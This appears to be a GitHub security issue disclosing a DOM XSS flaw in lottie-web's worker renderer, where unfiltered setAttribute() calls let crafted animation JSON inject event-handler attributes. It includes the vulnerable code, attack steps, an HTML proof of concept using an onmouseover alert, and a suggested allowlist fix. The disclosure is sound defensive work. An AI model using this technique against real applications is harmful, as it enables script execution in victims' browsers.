Skip to content

Security: DOM XSS via unsanitized setAttribute() in createTree() (worker mode) — distinct from #2828 #3196

@Vext-Labs

Description

@Vext-Labs

Security: DOM XSS via unsanitized setAttribute() in createTree() (worker mode) — distinct from expression XSS (#2828)

Summary

createTree() in player/js/worker_wrapper.js (line 560-595) applies all attributes from the worker-serialized DOM tree to real DOM elements via setAttribute() without filtering. This allows injection of event handler attributes (onclick, onmouseover, onfocus, etc.) from a crafted Lottie animation JSON, resulting in arbitrary JavaScript execution.

This is a different vulnerability from the expression/eval XSS reported in #2828 and #3048. The expression XSS can be mitigated by using lottie_light.js or disabling expressions. This vulnerability cannot be mitigated by any existing workaround.

Expression XSS (#2828) createTree() XSS (this issue)
Root cause eval() on "x" property setAttribute() in createTree()
File expressions/ExpressionManager.js player/js/worker_wrapper.js:575
Mitigation available? Yes — lottie_light.js None
Disable expressions fixes it? Yes No
Affected builds Expression-enabled only All builds using worker renderer

Vulnerable Code

createTree()worker_wrapper.js:560-595

function createTree(data, container, map, afterElement) {
    var elem;
    if (data.type === 'div') {
      elem = document.createElement('div');
    } else {
      elem = document.createElementNS(data.namespace, data.type);
    }
    // ...
    for (var attr in data.attributes) {
      if (Object.prototype.hasOwnProperty.call(data.attributes, attr)) {
        if (attr === 'href') {
          elem.setAttributeNS('http://www.w3.org/1999/xlink', attr, data.attributes[attr]);
        } else {
          elem.setAttribute(attr, data.attributes[attr]);  // ← NO FILTERING
        }
      }
    }
    // ...
}

The data parameter comes from ProxyElement.serialize() (line 59-67), which serializes all attributes set on the proxy element in the worker:

serialize: function () {
  return {
    type: this.type,
    namespace: this.namespace,
    style: this.style.serialize(),
    attributes: this.attributes,     // ← ALL attributes, unfiltered
    children: this.children.map(function (child) { return child.serialize(); }),
    textContent: this._textContent,
  };
},

updateElementAttributes()worker_wrapper.js:654-660

Same issue in the update path:

function updateElementAttributes(element, attributes) {
    var attribute;
    for (var i = 0; i < attributes.length; i += 1) {
      attribute = attributes[i];
      element.setAttribute(attribute[0], attribute[1]);  // ← NO FILTERING
    }
}

Attack Vector

  1. Attacker crafts a malicious Lottie animation JSON
  2. The JSON is loaded by an application using lottie-web's worker renderer (renderer: 'html' with worker, or the worker API)
  3. The worker processes the animation and creates ProxyElements with attacker-controlled attributes
  4. ProxyElement.serialize() sends all attributes (including event handlers) to the main thread via postMessage
  5. createTree() on the main thread calls elem.setAttribute('onclick', 'malicious_code()') on real DOM elements
  6. User interaction (hover, click, focus) triggers the injected JavaScript

Proof of Concept

Save as HTML and open in a browser:

<!DOCTYPE html>
<html>
<body>
  <div id="container"></div>
  <script>
    // Exact createTree() from worker_wrapper.js:560
    function createTree(data, container, map) {
      var elem;
      if (data.type === 'div') {
        elem = document.createElement('div');
      } else {
        elem = document.createElementNS(data.namespace, data.type);
      }
      for (var attr in data.attributes) {
        if (Object.prototype.hasOwnProperty.call(data.attributes, attr)) {
          if (attr === 'href') {
            elem.setAttributeNS('http://www.w3.org/1999/xlink', attr, data.attributes[attr]);
          } else {
            elem.setAttribute(attr, data.attributes[attr]);
          }
        }
      }
      data.children.forEach(function (child) { createTree(child, elem, map); });
      container.appendChild(elem);
    }

    // Simulated worker output — in production this comes from
    // ProxyElement.serialize() via postMessage
    createTree({
      type: 'div',
      namespace: '',
      attributes: {
        'id': 'lottie-xss',
        'onmouseover': 'alert("XSS via createTree setAttribute")',
      },
      style: {},
      textContent: 'Hover to trigger XSS',
      children: []
    }, document.getElementById('container'), {});
  </script>
</body>
</html>

A full interactive PoC is attached as poc.html.

Impact

  • Any application using lottie-web's worker rendering path is vulnerable
  • Loading an untrusted Lottie animation JSON results in arbitrary JavaScript execution
  • This affects all platforms that accept user-uploaded or third-party Lottie animations (design tools, CMSes, marketing platforms, email builders, etc.)
  • No workaround exists — unlike the expression XSS, there is no "light" build or configuration flag to disable this

Suggested Fix

Add an attribute allowlist in createTree() and updateElementAttributes():

// Attributes that are safe to set on DOM elements
var ALLOWED_ATTRIBUTES = {
  'id': true, 'class': true, 'style': true, 'viewBox': true,
  'd': true, 'fill': true, 'stroke': true, 'opacity': true,
  'transform': true, 'cx': true, 'cy': true, 'r': true,
  'rx': true, 'ry': true, 'x': true, 'y': true,
  'width': true, 'height': true, 'x1': true, 'y1': true,
  'x2': true, 'y2': true, 'offset': true, 'stop-color': true,
  'stop-opacity': true, 'clip-path': true, 'clip-rule': true,
  'fill-rule': true, 'fill-opacity': true, 'stroke-width': true,
  'stroke-dasharray': true, 'stroke-dashoffset': true,
  'stroke-linecap': true, 'stroke-linejoin': true,
  'stroke-opacity': true, 'font-family': true, 'font-size': true,
  'font-weight': true, 'font-style': true, 'text-anchor': true,
  'dominant-baseline': true, 'letter-spacing': true,
  'mask': true, 'filter': true, 'marker-end': true,
  'marker-start': true, 'marker-mid': true,
  'gradientTransform': true, 'gradientUnits': true,
  'patternTransform': true, 'patternUnits': true,
  'spreadMethod': true, 'preserveAspectRatio': true,
  'href': true, 'xmlns': true, 'xmlns:xlink': true,
  'data-name': true, 'data-lottie': true,
};

function isSafeAttribute(attr) {
  // Block all event handlers
  if (attr.substring(0, 2) === 'on') return false;
  // Allow known-safe attributes
  if (ALLOWED_ATTRIBUTES[attr]) return true;
  // Allow data-* attributes
  if (attr.substring(0, 5) === 'data-') return true;
  // Allow aria-* attributes
  if (attr.substring(0, 5) === 'aria-') return true;
  // Block unknown attributes by default
  return false;
}

Then in createTree():

if (attr === 'href') {
  elem.setAttributeNS('http://www.w3.org/1999/xlink', attr, data.attributes[attr]);
} else if (isSafeAttribute(attr)) {
  elem.setAttribute(attr, data.attributes[attr]);
}

Alternative minimal fix — just block event handlers:

} else if (attr.substring(0, 2) !== 'on') {
  elem.setAttribute(attr, data.attributes[attr]);
}

Environment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions